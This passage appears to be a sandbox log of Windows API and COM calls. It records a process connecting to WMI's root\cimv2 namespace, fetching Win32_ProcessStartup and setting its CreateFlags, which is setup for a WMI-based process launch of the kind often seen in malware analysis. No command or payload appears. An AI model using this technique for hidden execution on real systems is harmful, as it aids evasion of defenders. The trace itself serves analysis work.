ppvObject=0x1bb7d9c8*=0x1bcc4c00) returned 0x0 [0160.407] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4c00, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0160.407] WbemLocator:IUnknown:AddRef (This=0x1bcc4c00) returned 0x3 [0160.407] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4c00, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0160.407] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4c00, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0160.407] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4c00, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0160.407] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0160.407] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0160.408] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4c00, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0160.408] WbemLocator:IUnknown:Release (This=0x1bcc4c00) returned 0x2 [0160.408] WbemLocator:IUnknown:Release (This=0x1bcc4c00) returned 0x1 [0160.408] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0160.408] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0160.408] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4c00, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bcc4c00) returned 0x0 [0160.408] WbemLocator:IUnknown:AddRef (This=0x1bcc4c00) returned 0x3 [0160.408] WbemLocator:IUnknown:Release (This=0x1bcc4c00) returned 0x2 [0160.408] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3e900, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0160.408] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3e900, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0160.408] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3e900, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.408] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bcc4ac0) returned 0x0 [0160.408] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bcc4ac0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bbd95f0) returned 0x0 [0160.831] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd95f0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bbdda00) returned 0x0 [0160.831] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbdda00, pProxy=0x1bbd95f0, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0160.831] WbemLocator:IUnknown:Release (This=0x1bbdda00) returned 0x1 [0160.831] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd95f0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bbdda40) returned 0x0 [0160.831] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd95f0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bbdda00) returned 0x0 [0160.831] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbdda00, pProxy=0x1bbd95f0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0160.832] WbemLocator:IUnknown:Release (This=0x1bbdda00) returned 0x2 [0160.832] WbemLocator:IUnknown:Release (This=0x1bbdda40) returned 0x1 [0160.832] CoTaskMemFree (pv=0x1bc19ce0) [0160.832] WbemLocator:IUnknown:AddRef (This=0x1bbd95f0) returned 0x2 [0160.832] WbemLocator:IUnknown:Release (This=0x1bcc4ac0) returned 0x0 [0160.832] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0160.832] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0160.832] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd95f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bbdda10) returned 0x0 [0160.833] WbemLocator:IRpcOptions:Query (in: This=0x1bbdda10, pPrx=0x1bcc4a60, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0160.833] WbemLocator:IUnknown:Release (This=0x1bbdda10) returned 0x2 [0160.833] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0160.833] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0160.833] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd95f0, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bbd95f0) returned 0x0 [0160.833] WbemLocator:IUnknown:Release (This=0x1bbd95f0) returned 0x2 [0160.833] SysStringLen (param_1=0x0) returned 0x0 [0160.833] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f500, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0160.833] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f500, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0160.833] IWbemServices:GetObject (in: This=0x1bbd95f0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bbb8140, ppCallResult=0x0) returned 0x0 [0160.835] IWbemClassObject:Get (in: This=0x1bbb8140, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0160.835] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0160.835] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0160.836] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0160.836] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0160.836] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0160.836] IUnknown:Release (This=0x1a943398) returned 0x1 [0160.838] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bcc4ac0) returned 0x0 [0160.838] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc4ac0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0160.838] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc4ac0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1aa0c150) returned 0x0 [0160.838] WbemDefPath:IUnknown:Release (This=0x1bcc4ac0) returned 0x0 [0160.838] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c150, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1aa0c150) returned 0x0 [0160.838] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c150, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0160.839] WbemDefPath:IUnknown:AddRef (This=0x1aa0c150) returned 0x3 [0160.839] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c150, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0160.839] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c150, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0160.839] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c150, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bcc4d20) returned 0x0 [0160.839] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4d20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.839] WbemDefPath:IUnknown:Release (This=0x1bcc4d20) returned 0x3 [0160.839] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0160.839] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0160.839] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c150, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0160.839] WbemDefPath:IUnknown:Release (This=0x1aa0c150) returned 0x2 [0160.839] WbemDefPath:IUnknown:Release (This=0x1aa0c150) returned 0x1 [0160.839] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0160.839] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0160.839] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c150, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1aa0c150) returned 0x0 [0160.839] WbemDefPath:IUnknown:AddRef (This=0x1aa0c150) returned 0x3 [0160.839] WbemDefPath:IUnknown:Release (This=0x1aa0c150) returned 0x2 [0160.839] WbemDefPath:IWbemPath:SetText (This=0x1aa0c150, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0160.840] IWbemClassObject:Get (in: This=0x1bbb8140, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2780878*=0, plFlavor=0x278087c*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2780878*=19, plFlavor=0x278087c*=0) returned 0x0 [0160.840] IWbemClassObject:Get (in: This=0x1bbb8140, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2780878*=19, plFlavor=0x278087c*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2780878*=19, plFlavor=0x278087c*=0) returned 0x0 [0160.840] IWbemClassObject:Put (This=0x1bbb8140, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0160.840] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f5c0, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0160.840] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0160.840] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0160.840] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.840] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0160.840] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0160.840] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0160.840] IUnknown:Release (This=0x1a943398) returned 0x1 [0160.842] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bcc44c0) returned 0x0 [0160.843] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc44c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0160.843] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc44c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1aa0c090) returned 0x0 [0160.843] WbemDefPath:IUnknown:Release (This=0x1bcc44c0) returned 0x0 [0160.843] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c090, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1aa0c090) returned 0x0 [0160.843] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c090, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0160.843] WbemDefPath:IUnknown:AddRef (This=0x1aa0c090) returned 0x3 [0160.843] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c090, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0160.843] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c090, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0160.843] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c090, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bcc4500) returned 0x0 [0160.843] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4500, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.843] WbemDefPath:IUnknown:Release (This=0x1bcc4500) returned 0x3 [0160.843] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0160.844] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0160.844] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c090, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0160.844] WbemDefPath:IUnknown:Release (This=0x1aa0c090) returned 0x2 [0160.844] WbemDefPath:IUnknown:Release (This=0x1aa0c090) returned 0x1 [0160.844] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0160.844] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0160.844] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c090, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1aa0c090) returned 0x0 [0160.844] WbemDefPath:IUnknown:AddRef (This=0x1aa0c090) returned 0x3 [0160.844] WbemDefPath:IUnknown:Release (This=0x1aa0c090) returned 0x2 [0160.844] WbemDefPath:IWbemPath:SetText (This=0x1aa0c090, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0160.844] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0c090, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0160.844] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c090, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0160.844] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c090, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.844] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0160.844] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0160.844] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0160.844] IUnknown:Release (This=0x1a943398) returned 0x1 [0160.845] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bcc4640) returned 0x0 [0160.846] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4640, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: 